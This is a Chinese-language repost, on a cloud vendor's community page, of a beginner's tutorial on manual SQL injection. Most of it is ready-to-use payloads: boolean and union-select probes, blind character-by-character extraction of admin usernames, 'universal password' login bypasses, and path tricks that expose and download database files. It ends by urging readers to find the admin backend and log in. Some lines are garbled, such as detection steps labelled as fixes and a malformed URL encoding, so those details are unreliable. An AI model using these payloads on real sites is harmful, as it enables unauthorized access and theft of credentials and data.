轉:初學者,手工注入測試方法小節 (出處:: 51Testing軟體測試網--jie)

來源:互聯網
上載者:User

標籤:

1、加入單引號 ’提交, 結果:如果出現錯誤提示,則該網站可能就存在注入漏洞。  2、數字型判斷是否有注入; 語句:and 1=1 ;and 1=2 (經典)、‘ and ‘1‘=1(字元型) 結果:分別返回不同的頁面,說明存在注入漏洞. 分析:and 的意思是“和”如果沒有過濾我們的語句,and 1=1就會被代入 SQL查詢語句進行查詢, 如果and前後的兩條語句都是真的話就不會出錯,但如果前後語句有一個為假的話,程式就會暴錯。 也就表明程式有注入漏洞   防注入解決辦法: 1>使用or 2>1 ; or 1>2來進行判斷 結果:分別返回不同的頁面,說明存在注入漏洞. 分析:or注入只要求前後兩個語句只要有一個正確就為真,如果前後兩個語句都是正確的,反而為假。 記住:or注入時,or後面的語句如果是正確的,則返回錯誤頁面!如果是錯誤,則返回正確頁面 ,說明存在注入點。  2> 使用xor 1=1; xor 1=2 結果:分別返回不同的頁面,說明存在注入漏洞. 分析:xor 代表著異或,意思即串連的運算式僅有一個為真的時候才為真。 記住:xor注入時,xor後面的語句如果是正確的,則返回錯誤頁面積,如果是錯誤,則返回正確 頁面,說明存在注入點。  3>把and 1=1轉換成URL編碼形式後在提交 and 1=1 URL編碼:%41%4E%44%20%%31%3D%31  4>使用-1;-0 分析:如果返回的頁面和前面不同,是另一則新聞,則表示有注入漏洞,是數字型的注入漏洞;在 URL地址後面加上 -0,URL變成 news.asp?id=123-0,返回的頁面和前面的頁面相同,加上-1,返回錯誤頁面,則也表示存在注入漏洞.  3、字元型判斷是否有注入: 語句:‘ and ‘1‘=1;‘ and ‘1=2(經典) 結果:分別返回不同的頁面,說明存在注入漏洞. 分析:加入‘ and ‘1‘=1返回正確頁面,加入‘ and ‘1=2返回錯誤頁面,說明有注入漏同。  防注入解決辦法: 在URL的地址後面加上‘%2B‘(字元型) 分 析:URL地址變為:news.asp?id=123‘%2B‘,返回的頁面和1同;加 上‘2%2B‘asdf,URL地址變為:news.asp?id=123‘%2Basdf,返回的頁面和1 不同,或者說未發現該條記錄,或者錯誤,則表示存在注入點,是文本型的。  搜尋型判斷是否有注入: 簡單的判斷搜尋型注入漏洞存在不存在的辦法是先搜尋‘,如果出錯,說明90%存在這個漏洞。然後搜尋%,如果正常返回,說明95%有洞了。 說明:加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字元,都可以實現,如果出現錯誤,說明有問題。 操 作: 搜尋一個關鍵字,比如2006吧,正常返回所有2006相關的資訊,再搜尋2006%‘and 1=1 and ‘%‘=‘和 2006%‘and 1=2 and ‘%‘=‘,存在異同的話,就是100%有洞了。關鍵字%‘ and 1=1 and ‘%‘=‘% 關鍵字%‘ and 1=2 and ‘%‘=‘% 將and 1=1 換成注入語句就可以了  判斷 資料庫類型: and user>0 例 如:showdetail.asp?id=49 ;and user>0 如果是ACCESS資料庫,那麼返回的錯誤裡一般會有"Microsoft JET Database"關鍵定,如果是MSSQL數 據庫的話返回的錯誤提示裡一般會含有"SQL Server"關鍵了.  猜表名 and exists (select * from 表名) 說明:意思與上面一樣,只是用的語名不一樣。  猜列名 and (select count(列名) from 表名)>0 說明:如果我們輸入的列名猜解正確否反回正常頁面  猜長度 and (select top 1 len(username) from admin)>0 說明:如果我們輸入的最後一位元據返回錯誤,而錯誤前一位元字返回正確,說明我所猜解的長度 為正確。  猜內容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii碼1-128 說明:如果我們輸入的最後一位元據返回錯誤,而錯誤前一位元字返回正確,說明我所猜解的數字正確。(可以使用折半法猜內容) 折半法:最小值與最大值差的一半,比如輸入50返正確,輸入100返回錯誤,折半後輸入75。 兩種常見爆庫 1、%5c 2、conn.asp  %5c 暴庫 把二級目錄中間的/換成%5c EY: otherweb ... s.asp?BigClassName=職 責範圍&BigClassType=1 如果你能看到:’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 個有效 路徑。 確定路徑名稱拼字是否正確, 以及是否 串連到檔案存放的伺服器。 這樣的就是資料庫了。下載時用FLASHGET換成.MDB格式的就行 . conn.asp暴庫 這個也是比較老的漏洞,利用價值不大   常見的:‘or‘=‘or‘萬能密碼登陸 ’or’=’or’ 這是一個可以串連SQL的語名句.可以直接進入後台。我收集了一下。類似的還有 : ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一個很老的利用方法,主要用於一些比較老的網站。  聯集查詢注入(union查詢) 操作步驟: 1>在正常語句後台加入 and 1=2 union select * form. 表名,其中*號代表欄位數量,從1一直追加 (and 1=2 union select 1,2,3,4 form. 表名)如果欄位數正確就會有暴錯 2>在頁面顯示數位地方用真實得到的欄位名代替,如:username,password. 3>在頁面欄位值處暴出真實的資料庫欄位值。    尋找後台地址,找到後台用得到的使用者管理員的帳戶與密碼進行登陸.   建議大家先手工檢測,熟練掌握基本注入方法,來提高自己的基本注入知識。

轉:初學者,手工注入測試方法小節 (出處:: 51Testing軟體測試網--jie)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.